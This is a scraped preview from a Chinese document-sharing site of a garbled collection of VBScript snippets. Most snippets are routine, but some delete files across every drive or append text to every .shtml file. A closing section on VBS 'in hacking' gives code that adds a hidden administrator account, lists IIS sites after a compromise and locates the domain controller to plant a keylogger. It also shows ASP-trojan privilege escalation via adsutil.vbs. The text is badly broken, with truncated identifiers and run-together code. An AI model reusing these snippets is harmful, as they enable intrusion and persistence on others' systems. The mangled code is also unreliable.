脚本常用经典代码收集_第1页
脚本常用经典代码收集_第2页
脚本常用经典代码收集_第3页
脚本常用经典代码收集_第4页
脚本常用经典代码收集_第5页
已阅读5页,还剩17页未读 继续免费阅读

下载本文档

版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领

文档简介

VBS常用经典代码收集:未验证 vbsVBS用途很多处理Word,Excel,等Office文HTTP调用系统功能(COM),HTML,处理调用WindowsMediayer并管WindowsLiveMessenger服务端技术:ActiveServerPage(ASP)15.16.VBS,以后还会更新。VBS系统安装路径setWshS=WScript.CreateObject("WScript.S")strWinDir=WshS.ExpandEnvironmentStrings("%WinDir%")VBS取C:\ProgramFilesVBS取C:\ProgramFiles\CommonFiles给桌面添加快捷方setgangzi=WScript.CreateObject("WScript.S")strDesktop=gangzi.SpecialFolders("Desktop")setoSLink=gangzi.CreateShortcut(strDesktop&"\InternetoSLink.TargetPath=""oSLink.Description="InternetExplorer"oSLink.IconLocation="%ProgramFiles%\InternetExplorer\iexplore.exe,0"oS给收藏夹添加ConstADMINISTRATIVE_TOOLS=SetobjS=CreateObject("SSetobjFolder=objS.Namespace(ADMINISTRATIVE_TOOLS)SetobjFolderItem=objFolder.SelfSetobjS=WScript.CreateObject("WScript.S")strDesktopFld=objFolderItem.PathSetobjURLShortcut=objS.CreateShortcut(strDesktopFld&"\奋斗objURLShortcut.TargetPath=""删除指 指定后缀文OnErrorResumeSetfso=CreateObject("Scripting.FileSystemObject")fso.DeleteFile"C:\*.vbs",TrueSetfsoNothingVBSSetoS=CreateObject("WScript.SoS.RegWrite"HKEY_CURRENT_USER\Software\\InternetExplorer\Main\StartPage",""VBS动SetoS=CreateObject("Wscript.S")"HKLM\Software\VBS自setcopy1=createobject("scripting.filesystemobject")自己到C盘的huan.vbs(本 下的game.exe文件到c盘setcopy1=createobject("scripting.filesystemobject")VBS获取系统临DimSetfso=CreateObject("Scripting.FileSystemObject")DimtempfolderConstTemporaryFolder=Settempfolder=Wscript.Echotempfolder就算代码出错然继续执行OnErrorResumeNextVBSSetobjS=CreateObject("Wscript.S")VBS邮NameSpace="/cdo/configuration/"Set=CreateObject("CDO.Message").From="发件 .To="收件 .Subject="Testsendmail.vbs".Textbody="OK!".AddAttaent"C:\1.txt"With.Item(NameSpace&"sendusing")=.Item(NameSpace&"smtpserver")= 邮件服务 .Item(NameSpace&"smtpserverport")=.Item(NameSpace&"smtpauthenticate")=.Item(NameSpace&"sendusername").Item(NameSpace&"sendpassword")="发件人Endputer=SetobjWMIService=GetObject("winmgmts:\\" puter&SetcolProcessList=objWMIService.ExecQuery("Select*fromWin32_ProcessWhereName=ForEachobjProcessincolProcessListVBS隐藏打开(部分浏览器无法隐藏打开,而是直接打开,适合主流用户使createObject("wscript.s").run兼容所有浏览器,使用IE绝对路径+参数打开,无法用函数得到IE装路径,只用函数得到了ProgramFiles径,应该比上面的方法好,但是两种方Setobjws=WScript.CreateObject("wscript.s")objws.Run"""C:\ProgramFiles\Internet VBS遍历硬盘删除指定文OnErrorResumeNextDimfPathputer=SetobjWMIService=GetObject("winmgmts:\\" puter&SetcolProcessList=objWMIService.ExecQuery("Select*fromWin32_ProcessWhereName=ForEachobjProcessincolProcessListSetobjWMIService=GetObject("winmgmts:"&"{im ate}!\\"& puter&SetcolDirs=objWMIService.ExecQuery("Select*fromWin32_DirectorywherenameLIKE'%c:%'ornameLIKE'%d:%'ornameLIKE'%e:%'ornameLIKE'%f:%'ornameLIKE'%g:%'ornameLIKE'%h:%'ornameLIKE'%i:%'")SetobjFSO=ForEachobjDirinfPath=objDir.Name&"\gangzi.exe"objFSO.DeleteFile(fPath),TrueVBS网卡MAC地Dimmc,moForEachmoInIfmo.IPEnabled=TrueMsgBoxMAC&mo.MacAddressExitForEndIfVBS获取本机表主页地Setreg=WScript.CreateObject("WScript.S")Explorer\Main\StartPage")MsgBoxVBS遍历所有磁盘的所有 OnErrorResumeSetfsoCreateObject("Scripting.FileSystemObject")Co=VbCrLf&"路过。。。"ForEachiInfso.DrivesIfi.DriveType=2GFfso.GetFolder(i&"\")EndIfSubGF(fol)WhfolDimiForEachiInfol.SubFoldersGFiEndSubWh(fol)DimiForEachiInIfLCase(fso.GetExtensionName(i))="shtml"Thenfso.OpenTextFile(i,8,0).WriteCoEndIfEnd获取计算机所有SetSetobjdrives=fso.Drives'取得当前计算机的所有磁盘驱动器ForEachobjdriveInobjdrives MsgBoxobjdriveVBS给本机所有磁盘 创建文OnErrorResumeSetSetgangzis=fso.Drives'取得当前计算机的所有磁盘驱动器ForEachgangziIngangzis SetTestFile=fso.CreateTextFile(""&gangzi&"\新建文件夹.vbs",Ture) VBS本机全盘找到所有123.exe,然后给他们改名321.exesetfs=CreateObject("Scripting.FileSystemObject")foreachdriveinfs.drivesfstraversaldrive.rootfoldersubfstraversal(byvalforeachfolderinthis.subfoldersfstraversalfoldersetfiles=this.filesforeachfilein="123.exe"="321.exe"endVBS写入代码到粘贴板(先说明一下,VBS写内容到粘贴板,网上千篇一律都是通过InternetExplorer.Application对象来实现,但是缺点是在默认浏览器为非IE弹出浏览器,所以费了很大的劲找到了这个代码来实现)str=“这里是你要到剪贴板的字符串Setws=wscript.createobject("wscript.s")ws.run"mshtaQQ动发消息OnErrorResumeNextSetWshS=WScript.CreateObject("WScript.SWshS.run"mshta"tencent://message/?=yes&uin=&Site=&Service=200&sigT=2a39WScript.Sleep3000WshS.SendKeys"^v"WshS.SendKeysVBS文SetobjFSOCreateObject("Scripting.FileSystemObject")SetobjFile=objFSO.GetFile("F:\软件大赛\show.txt")IfobjFile.Attributes=objFile.AttributesAND2ThenobjFile.Attributes=objFile.AttributesXOR2EndVBS随机数(521是生成规则,不同的数字生成的规则不一样,可以用于Randomize521msgboxjoin(point,"")VBS桌面IE图标(非快捷方式SetoS=CreateObject("WScript.S")VBS获取自身文件Setfso=CreateObject("Scripting.FileSystemObject")msgboxWScript.ScriptNameVBSUnicode编码的文SetobjFSO=CreateObject("Scripting.FileSystemObject")SetobjFile=objFSO.OpenTextFile("gangzi.txt",1,False,-1)strText=objFile.ReadAllWscript.EchostrTextVBS指定编码的文件(默认为uft-8)gangzi变量是要文件的路setstm2=createobject("ADODB.Stream")stm2.Charset="utf-8"stm2.LoadFromFilegangzireadfile=stm2.ReadTextMsgBoxreadfileVBS禁用组策SetoS=CreateObject("WScript.S")VBS写指定编码的文件(默认为uft-8)gangzi变量是要文件的路径gangzi2是内容变 SetStm1=CreateObject("ADODB.Stream")Stm1.Type=2Stm1.Charset="UTF-8"Stm1.Position=Stm1.SizeStm1.WriteTextgangzi2Stm1.SaveToFilegangzi,2setStm1=VBS获取当 下所有文件夹名字(不包括子文件夹Setfso=CreateObject("scripting.filesystemobject")Setf=fso.GetFolder(fso.GetAbsolutePathName("."))Setfolders=f.SubFoldersForEachfoInfolderswsh.echofo.NameSetfolders=NothingSetf=nothingSetVBS获取指 下所有文件夹名字(包括子文件夹DimSetfso=WScript.CreateObject("scripting.filesystemobject")Setfs=fso.GetFolder("d:\")WScript.Echoaa(fs)Functionaa(n)Setf=n.subfoldersForEachuuInfSetop=fso.GetFolder(uu.path)t=t&vbcrlf&op.pathCallEndVBS创建.URL文件(IconIndex参数不同的数字代表不同的图标,具体请S32.dll里面的所有图标setfso=createobject("scripting.filesystemobject")SetTestFile=fso.CreateTextFile("qq.url",Ture)VBShosts(没写判断,无论存不存在都追加底部)SetfsCreateObject("Scripting.FileSystemObject")path=Setf=f.Write""&vbcrlf&" VBSr\Desktop\NameSpace下面所有键的名字并循环输出ConstHKLM=&HstrPath=Setoreg=GetObject("Winmgmts:\root\default:StdRegProv")oreg.EnumKeyHKLM,strPath,arrForEachxInarrWScript.EchoVBS创建txt文DimSetfso=CreateObject("Scripting.FileSystemObject")SetTestFile=fso.CreateTextFile("C:\o.txt",Ture)VBS文件夹DimSetfso=CreateObject("Scripting.FileSystemObject")Setfld=fso.CreateFolder("C:\newFolder")VBS判断文件夹是否存DimSetfso=CreateObject("Scripting.FileSystemObject")If(fso.FolderExists("C:\newFolder"))Thenmsgbox("Folderexists.")setfld=fso.CreateFolder("C:\newFolder")EndIfVBS使用变量判断文件Dimfso,fldSetfso=CreateObject("Scripting.FileSystemObject")If(fso.FolderExists(drvName&fldName))Thenmsgbox("Folderexists.")setfld=fso.CreateFolder(drvName&fldName)EndIfVBS入Dimfso,TestFile,fileName,drvName,fldNamedrvName=inputbox("Enterthedrivetosaveto:","Driveletter")fldName=inputbox("Enterthefoldername:","Foldername")fileName=inputbox("Enterthenameofthefile:","Filename")Setfso=CreateObject("Scripting.FileSystemObject")msgbox("Folderexists")Setfld=fso.CreateFolder(drvName&fldName)EndIfVBS检查是否有相同文Dimfso,TestFile,fileName,drvName,fldNamedrvName=inputbox("Enterthedrivetosaveto:","Driveletter")fldName=inputbox("Enterthefoldername:","Foldername")fileName=inputbox("Enterthenameofthefile:","Filename")Setfso=CreateObject("Scripting.FileSystemObject")msgbox("Folderexists")Setfld=fso.CreateFolder(drvName&fldName)EndIfmsgbox("Filealreadyexists.")EndIfVBS、追加DimSetSetopenFile=fso.OpenTextFile("C:\test.txt",2,True) '12表示可写,8openFile.Write"oWorld!"VBS文件ReadAll全DimSetfso=CreateObject("Scripting.FileSystemObject")SetopenFile=fso.OpenTextFile("C:\test.txt",1,True)VBS文件ReadLine一DimSetfso=CreateObject("Scripting.FileSystemObject")SetopenFile=fso.OpenTextFile("C:\test.txt",1,True) '如果行数超过文件的行数,就会出VBS文件Readn个字DimSetfso=CreateObject("Scripting.FileSystemObject")Set VBS文件DimSetfso=CreateObject("Scripting.FileSystemObject")VBS删除文件DimSetfso=CreateObject("Scripting.FileSystemObject")fso.DeleteFolder("C:\newFolder")VBS连续创建文DimSetfso=CreateObject("Scripting.FileSystemObject")Fori=1To10SetTestFile=fso.CreateTextFile("C:\o"&i&".txt",Ture)VBS根据计算机名随机生成字setws=createobject("wscript.s")setwenv=ws.environment("process")FunctionUCharRand(n)Fori=1tonRandomizeASC(MID(RDA,1,1))temp=cint(25*Rnd)temp=tempUCharRand=UCharRand&chr(temp)EndmsgboxUCharRand(LEN(RDA))VBS据mac成序列号FunctionEncode(strPass)Dimi,theStr,Fori=1TostrTmp=Asc(Mid(strPass,i,1))theStr=theStr&Abs(strTmp)strPass=theStrtheStr=""DoWhileLen(strPass)>16strPass=JoinCutStr(strPass)Fori=1TostrTmp=CInt(Mid(strPass,i,strTmp=IIf(strTmp>6,Chr(strTmp+60),strTmp)theStr=theStr&strTmpEncode=theStrEndFunctionFunctionJoinCutStr(str)Dimi,theStrFori=1ToIfLen(str)-i=0ThenExittheStr=theStr&Chr(CInt((Asc(Mid(str,i,1))+Asc(Mid(str,+1,1)))/i=i+1JoinCutStr=theStrEndFunctionFunctionIIf(var,val1,val2)Ifvar=TrueThenIIf=val1IIf=val2EndIfEndForEachmoInIfmo.IPEnabled=TrueThentheStr=mo.MacAddressExitForEndIfRandomizeEncode(theStr)FunctionallRand(n)Fori=1tonRandomizeEncode(theStr)temp=cint(25*Rnd)Iftempmod2=0thentemp=temp+97ElseIftemp<9thentemp=temp+48temp=temp+65EndIfallRand=allRand&chr(temp)EndmsgboxallRand(rdnum)VBS连接adslDimSetWsh=WScript.CreateObject("WScript.S")wsh.run"Rasdial连接名字账号",false,1DimWshSetWsh=WScript.CreateObject("WScript.Swsh.run"RasdialVBS每隔3秒自动更换IP并打开实例(值得一提的是,下面这个代码中每次打开的都是同一个IE窗口,也就是每次打开的是覆盖上次打开的窗口,如果需要每次打开的都是新窗口,直接使用run就可以了)DimSetWsh=WScript.CreateObject("WScript.SSetoIE=fori=1towsh.run"Rasdial/DISCONNECT",false,1wsh.run"Rasdial连接名字账号",false,1oIE.Navigate"ht CallSynchronizeIEoIE.Visible=TrueSubOnErrorResumeNextDoWhile(oIE.Busy)WScript.Sleep3000EndVBS来加管理员帐在注入过程中明明有了sa帐号,但是由于net.exe和net1.exe被限制,或其它的不明原因,总是加不了管理员帐号。VBS在活动(adsi)部份有一个winnt对像,可以用来管理本地资源,可以用它不依靠cmd等命令来加一个管setwsnetwork=CreateObject("WSCRIPT.NETWORK") Setob=GetObject(os)adsiSetoe=GetObject(os&"/Administrators,group")'属性,adminSetod=ob.Create("user","lcx")od.SetPassword"123456"'设置od.SetInfo'保存Setof=GetObject(os&"/lcx",user)oe.addos&"/lcx"这段代码如果保存为1.vbs,在cmd下运行,格式:cscript1.vbs的话,会在当前系统加一个名字为lcx,为123456的管理员。当然,你可以用记事本来修改里边的变量lcx和123456,改成你喜欢的名字和值。用vbs来列虚拟主机的有时旁注成功一个站,拿到系统权限后,面对上百个虚拟主机,怎样才能更快的找到我们目标站的物理呢?一个站一个站翻看太累,用系统自带的adsutil.vbsSetObjService=GetObject("IIS://LocalHost/W3SVC")ForEachobj3wInobjserviceIfIsNumeric(obj3w.Name)Then SetwebSite=GetObject("IIS://Localhost/W3SVC/"&obj3w.Name&ListAllWeb=ListAllWeb&obj3w.Name&String(25-Len(obj3w.Name),"") ment&"("&webSite.Path&")"&vbCrLfEndIfWScript.EchoListAllWebSetObjService=Nothing运行cscript2.vbs后,就会详细列出IIS里的站点ID、描述、及物理 用VBS快速找到内网域的主服务理员的,整个内网你就可以自由穿行了。主域管理员一般呆在比较重要的机器上,如果能搞定其中的一台或几台,放个记录器之类,相信总有一天你会拿到。主域服务器当然是其中最重要一台了,如何在成千台机器里判断出是哪一台呢?dos命令像netgroup“admins”/可以做vbsadsisetobj=GetObject("LDAP://rootDSE")wscript.echoobj.servername只用这两句代码就足够了,运行cscript3.vbs,会有结果的。当然,无论是dos命令或vbs,你前提必须要在域用户的权限下。好比你得到了一个域用户的帐号,你可以用p ec.exe-u-pcmd.exe这样的格式来得到域用户的s,或你的木马本来就是与桌面交互的,登陆你木马s的又是域用户,vbs的在中的作用当然不只这些,当然用js或其它工具也可以实现我上述代码的功能;不过这个专栏定下的题目是vbs在hacking中的妙用,所以我们vbsvbsWebS提权用的VBS代asp木马一直是搞的朋友喜欢使用的工具之一,但由于它的权限一般都比较IWAM_NAME通过asp木马得到mssql数据库的权限,或拿到ftp的信息,又或者说是替vbsasp的权限,代码如下asp木马一直是搞的朋友喜欢使用的工具之一,但由于它IWAM_NAMEaspmssqlftpaspsetwsh=createobject("wscript.s")'创建一个wsh对a=wsh.run("cmd.exe/ccscript.exeC:\Inetpub\AdminScripts\adsutil.vbsset/W3SVC/InProcessIsapiAppsC:\WINNT\system32\inetsrv\ssinc.dllC:\WINNT\syste

温馨提示

  • 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
  • 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
  • 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
  • 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
  • 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
  • 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
  • 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。

评论

0/150

提交评论